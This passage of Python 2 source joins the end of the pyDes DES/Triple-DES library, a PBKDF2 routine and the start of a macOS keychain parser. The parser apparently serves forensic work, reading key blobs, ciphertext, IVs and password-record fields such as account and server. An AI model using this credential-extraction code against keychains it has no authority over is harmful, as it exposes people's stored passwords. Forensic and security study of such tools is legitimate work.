            # Permutate the concatination of B[1] to B[8] (Bn)
            self.R = self.__permutate(des.__p, Bn)

            # Xor with L[i - 1]
            self.R = map(lambda x, y: x ^ y, self.R, self.L)
            # Optimization: This now replaces the below commented code
            #j = 0
            #while j < len(self.R):
            #   self.R[j] = self.R[j] ^ self.L[j]
            #   j += 1

            # L[i] becomes R[i - 1]
            self.L = tempR

            i += 1
            iteration += iteration_adjustment

        # Final permutation of R[16]L[16]
        self.final = self.__permutate(des.__fp, self.R + self.L)
        return self.final


    # Data to be encrypted/decrypted
    def crypt(self, data, crypt_type):
        '''Crypt the data in blocks, running it through des_crypt'''

        # Error check the data
        if not data:
            return ''
        if len(data) % self.block_size != 0:
            if crypt_type == des.DECRYPT:  # Decryption must work on 8 byte blocks
                raise ValueError(
                    "Invalid data length, data must be a multiple of " + str(self.block_size) + " bytes\n.")
            if not self.getPadding():
                raise ValueError("Invalid data length, data must be a multiple of " + str(
                    self.block_size) + " bytes\n. Try setting the optional padding character")
            else:
                data += (self.block_size - (len(data) % self.block_size)) * self.getPadding()
            # print "Len of data: %f" % (len(data) / self.block_size)

        if self.getMode() == CBC:
            if self.getIV():
                iv = self.__String_to_BitList(self.getIV())
            else:
                raise ValueError("For CBC mode, you must supply the Initial Value (IV) for ciphering")

        # Split the data into blocks, crypting each one seperately
        i = 0
        dict = {}
        result = []
        #cached = 0
        #lines = 0
        while i < len(data):
            # Test code for caching encryption results
            #lines += 1
            #if dict.has_key(data[i:i+8]):
            #print "Cached result for: %s" % data[i:i+8]
            #   cached += 1
            #   result.append(dict[data[i:i+8]])
            #   i += 8
            #   continue

            block = self.__String_to_BitList(data[i:i + 8])

            # Xor with IV if using CBC mode
            if self.getMode() == CBC:
                if crypt_type == des.ENCRYPT:
                    block = map(lambda x, y: x ^ y, block, iv)
                #j = 0
                #while j < len(block):
                #   block[j] = block[j] ^ iv[j]
                #   j += 1

                processed_block = self.__des_crypt(block, crypt_type)

                if crypt_type == des.DECRYPT:
                    processed_block = map(lambda x, y: x ^ y, processed_block, iv)
                    #j = 0
                    #while j < len(processed_block):
                    #   processed_block[j] = processed_block[j] ^ iv[j]
                    #   j += 1
                    iv = block
                else:
                    iv = processed_block
            else:
                processed_block = self.__des_crypt(block, crypt_type)


            # Add the resulting crypted block to our list
            #d = self.__BitList_to_String(processed_block)
            #result.append(d)
            result.append(self.__BitList_to_String(processed_block))
            #dict[data[i:i+8]] = d
            i += 8

        # print "Lines: %d, cached: %d" % (lines, cached)

        # Remove the padding from the last block
        if crypt_type == des.DECRYPT and self.getPadding():
            #print "Removing decrypt pad"
            s = result[-1]
            while s[-1] == self.getPadding():
                s = s[:-1]
            result[-1] = s

        # Return the full crypted string
        return ''.join(result)

    def encrypt(self, data, pad=''):
        '''encrypt(data, [pad]) -> string

        data : String to be encrypted
        pad  : Optional argument for encryption padding. Must only be one byte

        The data must be a multiple of 8 bytes and will be encrypted
        with the already specified key. Data does not have to be a
        multiple of 8 bytes if the padding character is supplied, the
        data will then be padded to a multiple of 8 bytes with this
        pad character.
        '''
        self.__padding = pad
        return self.crypt(data, des.ENCRYPT)

    def decrypt(self, data, pad=''):
        '''decrypt(data, [pad]) -> string

        data : String to be encrypted
        pad  : Optional argument for decryption padding. Must only be one byte

        The data must be a multiple of 8 bytes and will be decrypted
        with the already specified key. If the optional padding character
        is supplied, then the un-encypted data will have the padding characters
        removed from the end of the string. This pad removal only occurs on the
        last 8 bytes of the data (last data block).
        '''
        self.__padding = pad
        return self.crypt(data, des.DECRYPT)


#############################################################################
#               Triple DES                  #
#############################################################################
class triple_des:
    '''Triple DES encryption/decrytpion class

    This algorithm uses the DES-EDE3 (when a 24 byte key is supplied) or
    the DES-EDE2 (when a 16 byte key is supplied) encryption methods.
    Supports ECB (Electronic Code Book) and CBC (Cypher Block Chaining) modes.

    pyDes.des(key, [mode], [IV])

    key  -> The encryption key string, must be either 16 or 24 bytes long
    mode -> Optional argument for encryption type, can be either pyDes.ECB
        (Electronic Code Book), pyDes.CBC (Cypher Block Chaining)
    IV   -> Optional string argument, must be supplied if using CBC mode.
        Must be 8 bytes in length.
    '''

    def __init__(self, key, mode=ECB, IV=None):
        self.block_size = 8
        self.setMode(mode)
        self.__padding = ''
        self.__iv = IV
        self.setKey(key)

    def getKey(self):
        '''getKey() -> string'''
        return self.__key

    def setKey(self, key):
        '''Will set the crypting key for this object. Either 16 or 24 bytes long'''
        self.key_size = 24  # Use DES-EDE3 mode
        if len(key) != self.key_size:
            if len(key) == 16:  # Use DES-EDE2 mode
                self.key_size = 16
            else:
                raise ValueError("Invalid triple DES key size. Key must be either 16 or 24 bytes long")
        if self.getMode() == CBC and (not self.getIV() or len(self.getIV()) != self.block_size):
            raise ValueError("Invalid IV, must be 8 bytes in length")  ## TODO: Check this
        # modes get handled later, since CBC goes on top of the triple-des
        self.__key1 = des(key[:8])
        self.__key2 = des(key[8:16])
        if self.key_size == 16:
            self.__key3 = self.__key1
        else:
            self.__key3 = des(key[16:])
        self.__key = key

    def getMode(self):
        '''getMode() -> pyDes.ECB or pyDes.CBC'''
        return self.__mode

    def setMode(self, mode):
        '''Sets the type of crypting mode, pyDes.ECB or pyDes.CBC'''
        self.__mode = mode

    def getIV(self):
        '''getIV() -> string'''
        return self.__iv

    def setIV(self, IV):
        '''Will set the Initial Value, used in conjunction with CBC mode'''
        self.__iv = IV

    def xorstr(self, x, y):
        '''Returns the bitwise xor of the bytes in two strings'''
        if len(x) != len(y):
            raise "string lengths differ %d %d" % (len(x), len(y))

        ret = ''
        for i in range(len(x)):
            ret += chr(ord(x[i]) ^ ord(y[i]))

        return ret

    def encrypt(self, data, pad=''):
        '''encrypt(data, [pad]) -> string

        data : String to be encrypted
        pad  : Optional argument for encryption padding. Must only be one byte

        The data must be a multiple of 8 bytes and will be encrypted
        with the already specified key. Data does not have to be a
        multiple of 8 bytes if the padding character is supplied, the
        data will then be padded to a multiple of 8 bytes with this
        pad character.
        '''
        if self.getMode() == ECB:
            # simple
            data = self.__key1.encrypt(data, pad)
            data = self.__key2.decrypt(data)
            return self.__key3.encrypt(data)

        if self.getMode() == CBC:
            raise "This code hasn't been tested yet"
            if len(data) % self.block_size != 0:
                raise "CBC mode needs datalen to be a multiple of blocksize (ignoring padding for now)"

            # simple
            lastblock = self.getIV()
            retdata = ''
            for i in range(0, len(data), self.block_size):
                thisblock = data[i:i + self.block_size]
                # the XOR for CBC
                thisblock = self.xorstr(lastblock, thisblock)
                thisblock = self.__key1.encrypt(thisblock)
                thisblock = self.__key2.decrypt(thisblock)
                lastblock = self.__key3.encrypt(thisblock)
                retdata += lastblock
            return retdata

        raise "Not reached"

    def decrypt(self, data, pad=''):
        '''decrypt(data, [pad]) -> string

        data : String to be encrypted
        pad  : Optional argument for decryption padding. Must only be one byte

        The data must be a multiple of 8 bytes and will be decrypted
        with the already specified key. If the optional padding character
        is supplied, then the un-encypted data will have the padding characters
        removed from the end of the string. This pad removal only occurs on the
        last 8 bytes of the data (last data block).
        '''
        if self.getMode() == ECB:
            # simple
            data = self.__key3.decrypt(data)
            data = self.__key2.encrypt(data)
            return self.__key1.decrypt(data, pad)

        if self.getMode() == CBC:
            if len(data) % self.block_size != 0:
                raise "Can only decrypt multiples of blocksize"

            lastblock = self.getIV()
            retdata = ''
            for i in range(0, len(data), self.block_size):
                # can I arrange this better? probably...
                cipherchunk = data[i:i + self.block_size]
                thisblock = self.__key3.decrypt(cipherchunk)
                thisblock = self.__key2.encrypt(thisblock)
                thisblock = self.__key1.decrypt(thisblock)
                retdata += self.xorstr(lastblock, thisblock)
                lastblock = cipherchunk
            return retdata

        raise "Not reached"


#############################################################################
#               Examples                    #
#############################################################################
def example_triple_des():
    from time import time

    # Utility module
    from binascii import unhexlify as unhex

    # example shows triple-des encryption using the des class
    print "Example of triple DES encryption in default ECB mode (DES-EDE3)\n"

    print "Triple des using the des class (3 times)"
    t = time()
    k1 = des(unhex("133457799BBCDFF1"))
    k2 = des(unhex("1122334455667788"))
    k3 = des(unhex("77661100DD223311"))
    d = "Triple DES test string, to be encrypted and decrypted..."
    print "Key1:      %s" % k1.getKey()
    print "Key2:      %s" % k2.getKey()
    print "Key3:      %s" % k3.getKey()
    print "Data:      %s" % d

    e1 = k1.encrypt(d)
    e2 = k2.decrypt(e1)
    e3 = k3.encrypt(e2)
    print "Encrypted: " + e3

    d3 = k3.decrypt(e3)
    d2 = k2.encrypt(d3)
    d1 = k1.decrypt(d2)
    print "Decrypted: " + d1
    print "DES time taken: %f (%d crypt operations)" % (time() - t, 6 * (len(d) / 8))
    print ""

    # Example below uses the triple-des class to achieve the same as above
    print "Now using triple des class"
    t = time()
    t1 = triple_des(unhex("133457799BBCDFF1112233445566778877661100DD223311"))
    print "Key:       %s" % t1.getKey()
    print "Data:      %s" % d

    td1 = t1.encrypt(d)
    print "Encrypted: " + td1

    td2 = t1.decrypt(td1)
    print "Decrypted: " + td2

    print "Triple DES time taken: %f (%d crypt operations)" % (time() - t, 6 * (len(d) / 8))


def example_des():
    from time import time

    # example of DES encrypting in CBC mode with the IV of "\0\0\0\0\0\0\0\0"
    print "Example of DES encryption using CBC mode\n"
    t = time()
    k = des("DESCRYPT", CBC, "\0\0\0\0\0\0\0\0")
    data = "DES encryption algorithm"
    print "Key      : " + k.getKey()
    print "Data     : " + data

    d = k.encrypt(data)
    print "Encrypted: " + d

    d = k.decrypt(d)
    print "Decrypted: " + d
    print "DES time taken: %f (6 crypt operations)" % (time() - t)
    print ""


def __test__():
    example_des()
    example_triple_des()


def __fulltest__():
    # This should not produce any unexpected errors or exceptions
    from binascii import unhexlify as unhex
    from binascii import hexlify as dohex

    __test__()
    print ""

    k = des("\0\0\0\0\0\0\0\0", CBC, "\0\0\0\0\0\0\0\0")
    d = k.encrypt("DES encryption algorithm")
    if k.decrypt(d) != "DES encryption algorithm":
        print "Test 1 Error: Unencypted data block does not match start data"

    k = des("\0\0\0\0\0\0\0\0", CBC, "\0\0\0\0\0\0\0\0")
    d = k.encrypt("Default string of text", '*')
    if k.decrypt(d, "*") != "Default string of text":
        print "Test 2 Error: Unencypted data block does not match start data"

    k = des("\r\n\tABC\r\n")
    d = k.encrypt("String to Pad", '*')
    if k.decrypt(d) != "String to Pad***":
        print "'%s'" % k.decrypt(d)
        print "Test 3 Error: Unencypted data block does not match start data"

    k = des("\r\n\tABC\r\n")
    d = k.encrypt(unhex("000102030405060708FF8FDCB04080"), unhex("44"))
    if k.decrypt(d, unhex("44")) != unhex("000102030405060708FF8FDCB04080"):
        print "Test 4a Error: Unencypted data block does not match start data"
    if k.decrypt(d) != unhex("000102030405060708FF8FDCB0408044"):
        print "Test 4b Error: Unencypted data block does not match start data"

    k = triple_des("MyDesKey\r\n\tABC\r\n0987*543")
    d = k.encrypt(unhex(
        "000102030405060708FF8FDCB04080000102030405060708FF8FDCB04080000102030405060708FF8FDCB04080000102030405060708FF8FDCB04080000102030405060708FF8FDCB04080000102030405060708FF8FDCB04080000102030405060708FF8FDCB04080000102030405060708FF8FDCB04080"))
    if k.decrypt(d) != unhex(
            "000102030405060708FF8FDCB04080000102030405060708FF8FDCB04080000102030405060708FF8FDCB04080000102030405060708FF8FDCB04080000102030405060708FF8FDCB04080000102030405060708FF8FDCB04080000102030405060708FF8FDCB04080000102030405060708FF8FDCB04080"):
        print "Test 5 Error: Unencypted data block does not match start data"

    k = triple_des("\r\n\tABC\r\n0987*543")
    d = k.encrypt(unhex(
        "000102030405060708FF8FDCB04080000102030405060708FF8FDCB04080000102030405060708FF8FDCB04080000102030405060708FF8FDCB04080000102030405060708FF8FDCB04080000102030405060708FF8FDCB04080000102030405060708FF8FDCB04080000102030405060708FF8FDCB04080"))
    if k.decrypt(d) != unhex(
            "000102030405060708FF8FDCB04080000102030405060708FF8FDCB04080000102030405060708FF8FDCB04080000102030405060708FF8FDCB04080000102030405060708FF8FDCB04080000102030405060708FF8FDCB04080000102030405060708FF8FDCB04080000102030405060708FF8FDCB04080"):
        print "Test 6 Error: Unencypted data block does not match start data"


def __filetest__():
    from time import time

    f = open("pyDes.py", "rb+")
    d = f.read()
    f.close()

    t = time()
    k = des("MyDESKey")

    d = k.encrypt(d, " ")
    f = open("pyDes.py.enc", "wb+")
    f.write(d)
    f.close()

    d = k.decrypt(d, " ")
    f = open("pyDes.py.dec", "wb+")
    f.write(d)
    f.close()
    print "DES file test time: %f" % (time() - t)


def __profile__():
    import profile

    profile.run('__fulltest__()')

#profile.run('__filetest__()')



#!/usr/bin/env python2

# A simple implementation of pbkdf2 using stock python modules. See RFC2898
# for details. Basically, it derives a key from a password and salt.

# (c) 2004 Matt Johnston <matt @ ucc asn au>
# This code may be freely used and modified for any purpose.

import sha
import hmac

from binascii import hexlify, unhexlify
from struct import pack

BLOCKLEN = 20

# this is what you want to call.
def pbkdf2(password, salt, itercount, keylen, hashfn=sha):
    # l - number of output blocks to produce
    l = keylen / BLOCKLEN
    if keylen % BLOCKLEN != 0:
        l += 1

    h = hmac.new(password, None, hashfn)

    T = ""
    for i in range(1, l + 1):
        T += pbkdf2_F(h, salt, itercount, i)

    return T[: -( BLOCKLEN - keylen % BLOCKLEN)]


def xorstr(a, b):
    if len(a) != len(b):
        raise "xorstr(): lengths differ"

    ret = ''
    for i in range(len(a)):
        ret += chr(ord(a[i]) ^ ord(b[i]))

    return ret


def prf(h, data):
    hm = h.copy()
    hm.update(data)
    return hm.digest()


# Helper as per the spec. h is a hmac which has been created seeded with the
# password, it will be copy()ed and not modified.
def pbkdf2_F(h, salt, itercount, blocknum):
    U = prf(h, salt + pack('>i', blocknum))
    T = U

    for i in range(2, itercount + 1):
        U = prf(h, U)
        T = xorstr(T, U)

    return T


def test():
    # test vector from rfc3211
    password = 'password'
    salt = unhexlify('1234567878563412')
    password = 'All n-entities must communicate with other n-entities via n-1 entiteeheehees'
    itercount = 500
    keylen = 16
    ret = pbkdf2(password, salt, itercount, keylen)
    print "key:      %s" % hexlify(ret)
    print "expected: 6A 89 70 BF 68 C9 2C AE A8 4A 8D F2 85 10 85 86"





#!/usr/bin/env python2

# Author : n0fate
# E-Mail rapfer@gmail.com, n0fate@n0fate.com
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or (at
# your option) any later version.
#
# This program is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
#

import argparse
import os
from sys import exit
import struct
from binascii import unhexlify
import datetime


#from pbkdf2 import pbkdf2

#from pyDes import triple_des, CBC
from ctypes import *
#from Schema import *

def hexdump(src, length=16):
    FILTER = ''.join([(len(repr(chr(x))) == 3) and chr(x) or '.' for x in range(256)])
    lines = []
    for c in xrange(0, len(src), length):
        chars = src[c:c+length]
        hex = ' '.join(["%02x" % ord(x) for x in chars])
        printable = ''.join(["%s" % ((ord(x) <= 127 and FILTER[ord(x)]) or '.') for x in chars])
        lines.append("%04x  %-*s  %s\n" % (c, length*3, hex, printable))
    print ''.join(lines)
    
ATOM_SIZE = 4
SIZEOFKEYCHAINTIME = 16

KEYCHAIN_SIGNATURE = "kych"

DBBLOB_SIGNATURE = unhexlify('fade0711')

BLOCKSIZE = 8
KEYLEN = 24

class _APPL_DB_HEADER(BigEndianStructure):
    _fields_ = [
        ("Signature", c_char*4),
        ("Version", c_int),
        ("HeaderSize", c_int),
        ("SchemaOffset", c_int),
        ("AuthOffset", c_int)
    ]

class _APPL_DB_SCHEMA(BigEndianStructure):
    _fields_ = [
        ("SchemaSize", c_int),
        ("TableCount", c_int)
    ]

class _KEY_BLOB_REC_HEADER(BigEndianStructure):
    _fields_ = [
        ("RecordSize", c_uint),
        ("RecordCount", c_uint),
        ("Dummy", c_char*0x7C),
    ]

class _KEY_BLOB_RECORD(BigEndianStructure):
    _fields_ = [
        ("Signature", c_uint),
        ("Version", c_uint),
        ("CipherOffset", c_uint),
        ("TotalLength", c_uint)
    ]

class _GENERIC_PW_HEADER(BigEndianStructure):
    _fields_ = [
        ("RecordSize", c_uint),
        ("RecordNumber", c_uint),
        ("Unknown2", c_uint),
        ("Unknown3", c_uint),
        ("SSGPArea", c_uint),
        ("Unknown5", c_uint),
        ("CreationDate", c_uint),
        ("ModDate", c_uint),
        ("Description", c_uint),
        ("Comment", c_uint),
        ("Creator", c_uint),
        ("Type", c_uint),
        ("ScriptCode", c_uint),
        ("PrintName", c_uint),
        ("Alias", c_uint),
        ("Invisible", c_uint),
        ("Negative", c_uint),
        ("CustomIcon", c_uint),
        ("Protected", c_uint),
        ("Account", c_uint),
        ("Service", c_uint),
        ("Generic", c_uint)
    ]

class _APPLE_SHARE_HEADER(BigEndianStructure):
    _fields_ = [
        ("RecordSize", c_uint),
        ("RecordNumber", c_uint),
        ("Unknown2", c_uint),
        ("Unknown3", c_uint),
        ("SSGPArea", c_uint),
        ("Unknown5", c_uint),
        ("CreationDate", c_uint),
        ("ModDate", c_uint),
        ("Description", c_uint),
        ("Comment", c_uint),
        ("Creator", c_uint),
        ("Type", c_uint),
        ("ScriptCode", c_uint),
        ("PrintName", c_uint),
        ("Alias", c_uint),
        ("Invisible", c_uint),
        ("Negative", c_uint),
        ("CustomIcon", c_uint),
        ("Protected", c_uint),
        ("Account", c_uint),
        ("Volume", c_uint),
        ("Server", c_uint),
        ("Protocol", c_uint),
        ("AuthType", c_uint),
        ("Address", c_uint),
        ("Signature", c_uint)
    ]

class _INTERNET_PW_HEADER(BigEndianStructure):
    _fields_ = [
        ("RecordSize", c_uint),
        ("RecordNumber", c_uint),
        ("Unknown2", c_uint),
        ("Unknown3", c_uint),
        ("SSGPArea", c_uint),
        ("Unknown5", c_uint),
        ("CreationDate", c_uint),
        ("ModDate", c_uint),
        ("Description", c_uint),
        ("Comment", c_uint),
        ("Creator", c_uint),
        ("Type", c_uint),
        ("ScriptCode", c_uint),
        ("PrintName", c_uint),
        ("Alias", c_uint),
        ("Invisible", c_uint),
        ("Negative", c_uint),
        ("CustomIcon", c_uint),
        ("Protected", c_uint),
        ("Account", c_uint),
        ("SecurityDomain", c_uint),
        ("Server", c_uint),
        ("Protocol", c_uint),
        ("AuthType", c_uint),
        ("Port", c_uint),
        ("Path", c_uint)
    ]

class _X509_CERT_HEADER(BigEndianStructure):
    _fields_ = [
        ("RecordSize", c_uint),
        ("RecordNumber", c_uint),
        ("Unknown1", c_uint),
        ("Unknown2", c_uint),
        ("CertSize", c_uint),
        ("Unknown3", c_uint),
        ("CertType", c_uint),
        ("CertEncoding", c_uint),
        ("PrintName", c_uint),
        ("Alias", c_uint),
        ("Subject", c_uint),
        ("Issuer", c_uint),
        ("SerialNumber", c_uint),
        ("SubjectKeyIdentifier", c_uint),
        ("PublicKeyHash", c_uint)
    ]

# http://www.opensource.apple.com/source/Security/Security-55179.1/include/security_cdsa_utilities/KeySchema.h
# http://www.opensource.apple.com/source/libsecurity_keychain/libsecurity_keychain-36940/lib/SecKey.h
class _SECKEY_HEADER(BigEndianStructure):
    _fields_ = [
        ("RecordSize", c_uint),
        ("RecordNumber", c_uint),
        ("Unknown1", c_uint),
        ("Unknown2", c_uint),
        ("BlobSize", c_uint),
        ("Unknown3", c_uint),
        ("KeyClass", c_uint),
        ("PrintName", c_uint),
        ("Alias", c_uint),
        ("Permanent", c_uint),
        ("Private", c_uint),
        ("Modifiable", c_uint),
        ("Label", c_uint),
        ("ApplicationTag", c_uint),
        ("KeyCreator", c_uint),
        ("KeyType", c_uint),
        ("KeySizeInBits", c_uint),
        ("EffectiveKeySize", c_uint),
        ("StartDate", c_uint),
        ("EndDate", c_uint),
        ("Sensitive", c_uint),
        ("AlwaysSensitive", c_uint),
        ("Extractable", c_uint),
        ("NeverExtractable", c_uint),
        ("Encrypt", c_uint),
        ("Decrypt", c_uint),
        ("Derive", c_uint),
        ("Sign", c_uint),
        ("Verify", c_uint),
        ("SignRecover", c_uint),
        ("VerifyRecover", c_uint),
        ("Wrap", c_uint),
        ("Wrap", c_uint)
    ]

class _TABLE_HEADER(BigEndianStructure):
    _fields_ = [
        ("TableSize", c_uint),
        ("TableId", c_uint),
        ("RecordCount", c_uint),
        ("Records", c_uint),
        ("IndexesOffset", c_uint),
        ("FreeListHead", c_uint),
        ("RecordNumbersCount", c_uint),
        #("RecordNumbers", c_uint)
    ]

class _SCHEMA_INFO_RECORD(BigEndianStructure):
    _fields_ = [
        ("RecordSize", c_uint),
        ("RecordNumber", c_uint),
        ("Unknown2", c_uint),
        ("Unknown3", c_uint),
        ("Unknown4", c_uint),
        ("Unknown5", c_uint),
        ("Unknown6", c_uint),
        ("RecordType", c_uint),
        ("DataSize", c_uint),
        ("Data", c_uint)
    ]

class _ENCRYPTED_BLOB_METADATA(BigEndianStructure):
    _fields_ = [
        ("MagicNumber", c_uint),
        ("Unknown", c_uint),
        ("StartOffset", c_uint),
        ("EndOffset", c_uint)
    ]

def _memcpy(buf, fmt):
    return cast(c_char_p(buf), POINTER(fmt)).contents


class KeyChain():
    def __init__(self, filepath):
        self.filepath = filepath
        self.fbuf = ''

    def open(self):
        try:
            fhandle = open(self.filepath, 'rb')
        except:
            return False
        self.fbuf = fhandle.read()
        if len(self.fbuf):
            fhandle.close()
            return True
        return False

    def checkValidKeychain(self):
        if self.fbuf[0:4] != KEYCHAIN_SIGNATURE:
            return False
        return True

    ## get apple DB Header
    def getHeader(self):
        header = _memcpy(self.fbuf[:sizeof(_APPL_DB_HEADER)], _APPL_DB_HEADER)

        return header

    def getSchemaInfo(self, offset):
        table_list = []
        #schema_info = struct.unpack(APPL_DB_SCHEMA, self.fbuf[offset:offset + APPL_DB_SCHEMA_SIZE])
        _schemainfo = _memcpy(self.fbuf[offset:offset+sizeof(_APPL_DB_SCHEMA)], _APPL_DB_SCHEMA)
        for i in xrange(_schemainfo.TableCount):
            BASE_ADDR = sizeof(_APPL_DB_HEADER) + sizeof(_APPL_DB_SCHEMA)
            table_list.append(
                struct.unpack('>I', self.fbuf[BASE_ADDR + (ATOM_SIZE * i):BASE_ADDR + (ATOM_SIZE * i) + ATOM_SIZE])[0])

        return _schemainfo, table_list

    def getTable(self, offset):
        record_list = []
        BASE_ADDR = sizeof(_APPL_DB_HEADER) + offset

        TableMetaData = _memcpy(self.fbuf[BASE_ADDR:BASE_ADDR+sizeof(_TABLE_HEADER)], _TABLE_HEADER)

        RECORD_OFFSET_BASE = BASE_ADDR + sizeof(_TABLE_HEADER)

        record_count = 0
        offset = 0
        while TableMetaData.RecordCount != record_count:
            RecordOffset = struct.unpack('>I', self.fbuf[
                                                RECORD_OFFSET_BASE + (ATOM_SIZE * offset):RECORD_OFFSET_BASE + (
                                                    ATOM_SIZE * offset) + ATOM_SIZE])[0]
            # if len(record_list) >= 1:
            #     if record_list[len(record_list)-1] >= RecordOffset:
            #         continue
            if (RecordOffset != 0x00) and (RecordOffset%4 == 0):
                record_list.append(RecordOffset)
                #print ' [-] Record Offset: 0x%.8x'%RecordOffset
                record_count += 1
            offset +=1

        return TableMetaData, record_list

    def getTablenametoList(self, recordList, tableList):
        TableDic = {}
        for count in xrange(len(recordList)):
            tableMeta, GenericList = self.getTable(tableList[count])
            TableDic[tableMeta.TableId] = count    # extract valid table list

        return len(recordList), TableDic

    def getSchemaInfoRecord(self, base_addr, offset):

        record_meta = []
        record = []

        BASE_ADDR = sizeof(_APPL_DB_HEADER) + base_addr + offset

        #print BASE_ADDR

        RecordMetadata = _memcpy(self.fbuf[BASE_ADDR:BASE_ADDR+sizeof(_SCHEMA_INFO_RECORD)], _SCHEMA_INFO_RECORD)

        data = self.fbuf[BASE_ADDR + 40:BASE_ADDR + 40 + RecordMetadata.DataSize]

        for record_element in RecordMetadata:
            record.append(record_element)

        record.append(data)

        return record

    def getKeyblobRecord(self, base_addr, offset):

        BASE_ADDR = sizeof(_APPL_DB_HEADER) + base_addr + offset

        KeyBlobRecHeader = _memcpy(self.fbuf[BASE_ADDR:BASE_ADDR+sizeof(_KEY_BLOB_REC_HEADER)], _KEY_BLOB_REC_HEADER)


        # record_meta[0] => record size
        record = self.fbuf[BASE_ADDR + sizeof(_KEY_BLOB_REC_HEADER):BASE_ADDR + KeyBlobRecHeader.RecordSize]  # password data area

        KeyBlobRecord = _memcpy(record[:sizeof(_KEY_BLOB_RECORD)], _KEY_BLOB_RECORD)

        if SECURE_STORAGE_GROUP != str(record[KeyBlobRecord.TotalLength + 8:KeyBlobRecord.TotalLength + 8 + 4]):
            #print 'not ssgp %s'%str(record[KeyBlobRecord.TotalLength + 8:KeyBlobRecord.TotalLength + 8 + 4])
            #exit()
            return '', '', '', 1

        CipherLen = KeyBlobRecord.TotalLength - KeyBlobRecord.CipherOffset
        if CipherLen % BLOCKSIZE != 0:
            print "Bad ciphertext len"

        iv = record[16:24]

        ciphertext = record[KeyBlobRecord.CipherOffset:KeyBlobRecord.TotalLength]

        # match data, keyblob_ciphertext, Initial Vector, success
        return record[KeyBlobRecord.TotalLength + 8:KeyBlobRecord.TotalLength + 8 + 20], ciphertext, iv, 0


    def getGenericPWRecord(self, base_addr, offset):
        record = []

        BASE_ADDR = sizeof(_APPL_DB_HEADER) + base_addr + offset

        RecordMeta = _memcpy(self.fbuf[BASE_ADDR:BASE_ADDR+sizeof(_GENERIC_PW_HEADER)], _GENERIC_PW_HEADER)

        Buffer = self.fbuf[BASE_ADDR + sizeof(_GENERIC_PW_HEADER):BASE_ADDR + RecordMeta.RecordSize]  # record_meta[0] => record size

        if RecordMeta.SSGPArea != 0:
            record.append(Buffer[:RecordMeta.SSGPArea])
        else:
            record.append('')
        
        record.append(self.getKeychainTime(BASE_ADDR, RecordMeta.CreationDate & 0xFFFFFFFE))
        record.append(self.getKeychainTime(BASE_ADDR, RecordMeta.ModDate & 0xFFFFFFFE))

        record.append(self.getLV(BASE_ADDR, RecordMeta.Description & 0xFFFFFFFE))

        record.append(self.getFourCharCode(BASE_ADDR, RecordMeta.Creator & 0xFFFFFFFE))
        record.append(self.getFourCharCode(BASE_ADDR, RecordMeta.Type & 0xFFFFFFFE))

        record.append(self.getLV(BASE_ADDR, RecordMeta.PrintName & 0xFFFFFFFE))
        record.append(self.getLV(BASE_ADDR, RecordMeta.Alias & 0xFFFFFFFE))
        record.append(self.getLV(BASE_ADDR, RecordMeta.Account & 0xFFFFFFFE))
        record.append(self.getLV(BASE_ADDR, RecordMeta.Service & 0xFFFFFFFE))

        return record

    def getInternetPWRecord(self, base_addr, offset):
        record = []

        BASE_ADDR = sizeof(_APPL_DB_HEADER) + base_addr + offset

        RecordMeta = _memcpy(self.fbuf[BASE_ADDR:BASE_ADDR+sizeof(_INTERNET_PW_HEADER)], _INTERNET_PW_HEADER)

        Buffer = self.fbuf[BASE_ADDR + sizeof(_INTERNET_PW_HEADER):BASE_ADDR + RecordMeta.RecordSize]

        if RecordMeta.SSGPArea != 0:
            record.append(Buffer[:RecordMeta.SSGPArea])
        else:
            record.append('')

        record.append(self.getKeychainTime(BASE_ADDR, RecordMeta.CreationDate & 0xFFFFFFFE))
        record.append(self.getKeychainTime(BASE_ADDR, RecordMeta.ModDate & 0xFFFFFFFE))

        record.append(self.getLV(BASE_ADDR, RecordMeta.Description & 0xFFFFFFFE))
        record.append(self.getLV(BASE_ADDR, RecordMeta.Comment & 0xFFFFFFFE))

        record.append(self.getFourCharCode(BASE_ADDR, RecordMeta.Creator & 0xFFFFFFFE))
        record.append(self.getFourCharCode(BASE_ADDR, RecordMeta.Type & 0xFFFFFFFE))

        record.append(self.getLV(BASE_ADDR, RecordMeta.PrintName & 0xFFFFFFFE))
        record.append(self.getLV(BASE_ADDR, RecordMeta.Alias & 0xFFFFFFFE))
        record.append(self.getLV(BASE_ADDR, RecordMeta.Protected & 0xFFFFFFFE))
        record.append(self.getLV(BASE_ADDR, RecordMeta.Account & 0xFFFFFFFE))
        record.append(self.getLV(BASE_ADDR, RecordMeta.SecurityDomain & 0xFFFFFFFE))
        record.append(self.getLV(BASE_ADDR, RecordMeta.Server & 0xFFFFFFFE))

        record.append(self.getFourCharCode(BASE_ADDR, RecordMeta.Protocol & 0xFFFFFFFE))

        record.append(self.getLV(BASE_ADDR, RecordMeta.AuthType & 0xFFFFFFFE))

        record.append(self.getInt(BASE_ADDR, RecordMeta.Port & 0xFFFFFFFE))

        record.append(self.getLV(BASE_ADDR, RecordMeta.Path & 0xFFFFFFFE))        

        return record

    def getx509Record(self, base_addr, offset):
        record = []

        BASE_ADDR = sizeof(_APPL_DB_HEADER) + base_addr + offset

        RecordMeta = _memcpy(self.fbuf[BASE_ADDR:BASE_ADDR+sizeof(_X509_CERT_HEADER)], _X509_CERT_HEADER)

        x509Certificate = self.fbuf[BASE_ADDR + sizeof(_X509_CERT_HEADER):BASE_ADDR + sizeof(_X509_CERT_HEADER) + RecordMeta.CertSize]

        record.append(self.getInt(BASE_ADDR, RecordMeta.CertType & 0xFFFFFFFE))     # Cert Type
        record.append(self.getInt(BASE_ADDR, RecordMeta.CertEncoding & 0xFFFFFFFE))     # Cert Encoding

        record.append(self.getLV(BASE_ADDR, RecordMeta.PrintName & 0xFFFFFFFE))
        record.append(self.getLV(BASE_ADDR, RecordMeta.Alias & 0xFFFFFFFE))
        record.append(self.getLV(BASE_ADDR, RecordMeta.Subject & 0xFFFFFFFE))
        record.append(self.getLV(BASE_ADDR, RecordMeta.Issuer & 0xFFFFFFFE))
        record.append(self.getLV(BASE_ADDR, RecordMeta.SerialNumber & 0xFFFFFFFE))
